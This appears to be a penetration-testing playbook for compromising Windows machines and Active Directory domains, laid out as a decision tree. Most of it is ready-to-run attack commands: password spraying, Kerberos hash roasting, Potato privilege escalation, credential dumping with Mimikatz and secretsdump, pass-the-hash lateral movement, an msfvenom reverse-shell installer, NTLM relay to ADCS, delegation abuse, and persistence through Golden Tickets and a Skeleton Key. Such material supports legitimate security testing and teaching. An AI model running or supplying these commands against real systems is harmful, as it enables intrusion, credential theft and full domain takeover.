IP to SYSTEM: The Windows Compromise Playbook
You have an IP. You need SYSTEM. This is the decision tree: what to check, what each misconfiguration gives you, where to go next. From network enumeration to domain compromise, every fork is covered.
This is not a cheatsheet. This is a decision tree. At every step, you check a condition. If it’s true, you exploit it and move to the next stage. If it’s false, you check the next condition. No wasted time, no guessing.
The target: go from a network IP to NT AUTHORITY\SYSTEM on a Windows machine, then pivot to Domain Admin if AD is present.
Phase 0: Recon
Port Scan
nmap -sC -sV -p- -oA full_scan <target>
What you’re looking for and what it means:
| Port | Service | Next Step |
|---|---|---|
| 21 | FTP | Anonymous login? ftp <ip>, try anonymous:anonymous |
| 22 | SSH | Rare on Windows. If present: brute-force or key reuse |
| 53 | DNS | Zone transfer: dig axfr @<ip> domain.local |
| 80/443 | HTTP(S) | Web app vulns, default creds, IIS shortname |
| 88 | Kerberos | It’s a DC. AS-REP roasting, Kerberoasting |
| 135 | RPC | User enumeration, null sessions |
| 139/445 | SMB | Null sessions, shares, relay |
| 389/636 | LDAP | Anonymous bind, enumeration |
| 1433 | MSSQL | Default creds: sa:sa, xp_cmdshell |
| 3306 | MySQL | root:root, UDF exploitation |
| 3389 | RDP | Brute-force, BlueKeep (old boxes) |
| 5985/5986 | WinRM | Requires valid creds → Evil-WinRM |
| 8080 | HTTP alt | Jenkins, Tomcat, management interfaces |
Phase 1: Initial Access
Path A: SMB Open (445)
Check null session:
netexec smb <ip> -u '' -p ''
netexec smb <ip> -u 'guest' -p ''
If null session works → enumerate shares:
netexec smb <ip> -u '' -p '' --shares
smbclient -L //<ip>/ -N
Look for: writable shares, config files with credentials, scripts with hardcoded passwords, .kdbx files, web.config, unattend.xml.
If guest works → enumerate users:
netexec smb <ip> -u 'guest' -p '' --rid-brute
Got usernames? → password spray:
netexec smb <ip> -u users.txt -p 'Season2026!' --no-bruteforce
netexec smb <ip> -u users.txt -p 'Company123!' --no-bruteforce
Path B: LDAP Open (389)
Anonymous bind:
ldapsearch -x -H ldap://<ip> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName
If it works: dump all users, check description fields (admins love putting passwords there):
ldapsearch -x -H ldap://<ip> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName description
Path C: Kerberos (88)
AS-REP Roasting (no creds needed, just usernames):
GetNPUsers.py domain.local/ -dc-ip <ip> -usersfile users.txt -format hashcat -outputfile asrep.txt
hashcat -m 18200 asrep.txt rockyou.txt
Kerberoasting (needs any valid cred):
GetUserSPNs.py domain.local/user:pass -dc-ip <ip> -outputfile kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt
Path D: Web Services (80/443/8080)
IIS shortname scanner:
java -jar iis_shortname_scanner.jar <url>
Default credentials checklist:
- Tomcat:
tomcat:tomcat,admin:admin→ deploy WAR shell - Jenkins: unauthenticated script console → Groovy RCE
- MSSQL web panels:
sawith empty/default password - Printer/IPMI interfaces:
admin:admin
If you find MSSQL creds:
mssqlclient.py domain/user:pass@<ip>
SQL> enable_xp_cmdshell
SQL> xp_cmdshell 'whoami'
Phase 2: You Have a Shell (Local Privesc)
You’re in as a low-priv user. Check everything in order.
Check 1: Token Privileges
whoami /priv
| Privilege | What It Gives You |
|---|---|
| SeImpersonatePrivilege | Potato attacks → SYSTEM |
| SeAssignPrimaryTokenPrivilege | Same as above |
| SeBackupPrivilege | Read any file (SAM, SYSTEM hive) |
| SeRestorePrivilege | Write any file (DLL hijack) |
| SeDebugPrivilege | Inject into any process |
| SeLoadDriverPrivilege | Load vulnerable driver → kernel exploit |
| SeTakeOwnershipPrivilege | Own any object → read/write anything |
SeImpersonatePrivilege (most common, service accounts):
# GodPotato (works on all modern Windows)
GodPotato.exe -cmd "cmd /c whoami"
# If GodPotato fails, try SweetPotato, PrintSpoofer, EfsPotato
PrintSpoofer.exe -i -c cmd
Check 2: Stored Credentials
# Saved creds
cmdkey /list
# If creds exist:
runas /savecred /user:admin cmd.exe
# Credential files
dir C:\Users\*\AppData\Local\Microsoft\Credentials\*
dir C:\Users\*\AppData\Roaming\Microsoft\Credentials\*
# Unattend files
dir C:\ /s /b | findstr /i "unattend.xml sysprep.xml"
# PowerShell history
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
# IIS config
type C:\inetpub\wwwroot\web.config
# WiFi passwords
netsh wlan show profiles
netsh wlan show profile name="<SSID>" key=clear
Check 3: Service Misconfigurations
# Unquoted service paths
wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
# Weak service permissions (use accesschk from Sysinternals)
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "BUILTIN\Users" *
# Writable service binary paths
icacls "C:\Program Files\VulnService\service.exe"
If you can modify a service binary: replace it with a reverse shell or adduser payload:
sc stop VulnService
copy shell.exe "C:\Program Files\VulnService\service.exe"
sc start VulnService
If you have an unquoted path like C:\Program Files\Vuln Service\app.exe: drop C:\Program Files\Vuln.exe and restart the service.
Check 4: AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Both set to 1? Generate an MSI payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f msi -o shell.msi
msiexec /quiet /qn /i shell.msi
Check 5: Scheduled Tasks and Autoruns
schtasks /query /fo LIST /v | findstr /i "Task To Run\|Run As User\|Scheduled Task"
# Writable paths in scheduled tasks?
icacls "C:\path\to\scheduled\script.bat"
Check 6: LAPS
netexec ldap <dc_ip> -u user -p pass -M laps
If your user can read LAPS attributes, you get the local admin password for free.
Automated Enumeration
When in doubt, run all checks at once:
# From Windows
winPEASx64.exe
# From Linux (remote)
netexec smb <ip> -u user -p pass -M enum_av
netexec smb <ip> -u user -p pass -M spider_plus
Phase 3: Lateral Movement
You have local admin on one box. Spread.
Dump Credentials First
# Remote (netexec)
netexec smb <ip> -u admin -p pass --lsa
netexec smb <ip> -u admin -p pass --sam
netexec smb <ip> -u admin -p pass -M nanodump
netexec smb <ip> -u admin -p pass -M lsassy
# Local (Mimikatz)
sekurlsa::logonpasswords
Password Reuse Spray
netexec smb targets.txt -u admin -H <hash> --local-auth
Found admin hash works on 15 machines? That’s password reuse. Common in environments without LAPS.
Move
# PsExec (creates service, noisy)
psexec.py domain/admin@<target> -hashes :<hash>
# WMI (fileless, quieter)
wmiexec.py domain/admin@<target> -hashes :<hash>
# DCOM (no service creation, least detected)
dcomexec.py domain/admin@<target> -hashes :<hash>
# Evil-WinRM (if 5985 open)
evil-winrm -i <target> -u admin -H <hash>
Phase 4: Domain Escalation
You’re local admin somewhere. Now you want the domain.
Decision Tree
Have DA creds/hash?
├─ YES → DCSync, game over
└─ NO
├─ Can you reach a DC? → Try Zerologon (CVE-2020-1472), PetitPotam, PrinterBug
├─ ADCS deployed? → Check ESC1-ESC16 (see ADCS article)
├─ Can you relay? → ntlmrelayx to LDAP/SMB/ADCS
├─ Can you read GMSA passwords? → gMSA → might be DA-equivalent
├─ Constrained delegation? → S4U2Self + S4U2Proxy
├─ Unconstrained delegation? → Force auth → capture TGT
└─ Run BloodHound → find DACL chain to DA
NTLM Relay to ADCS (ESC8)
# Start relay
ntlmrelayx.py -t http://<ca>/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce authentication from DC
PetitPotam.py <attacker_ip> <dc_ip>
# Use the cert
certipy auth -pfx dc01.pfx -dc-ip <dc_ip>
Resource-Based Constrained Delegation (RBCD)
If you have GenericAll/GenericWrite on a computer:
addcomputer.py -method ldaps -computer-name 'EVIL$' -computer-pass 'Pass123' domain/user:pass
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write domain/user:pass
getST.py -spn cifs/TARGET.domain.local -impersonate administrator domain.local/'EVIL$':'Pass123'
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass domain.local/administrator@TARGET.domain.local
Phase 5: Game Over
secretsdump.py domain.local/administrator@dc01.domain.local -just-dc
You have every hash in the domain. Forge Golden/Diamond/Sapphire Tickets for persistence. Create a Skeleton Key for future access. Or just grab what you came for and write the report.
The key to this entire methodology: check systematically, don’t skip steps, always look for credential reuse. The vast majority of Windows domain compromises come from password reuse + one misconfiguration. Not zero-days. Not sophisticated exploits. Just misconfigs chained together.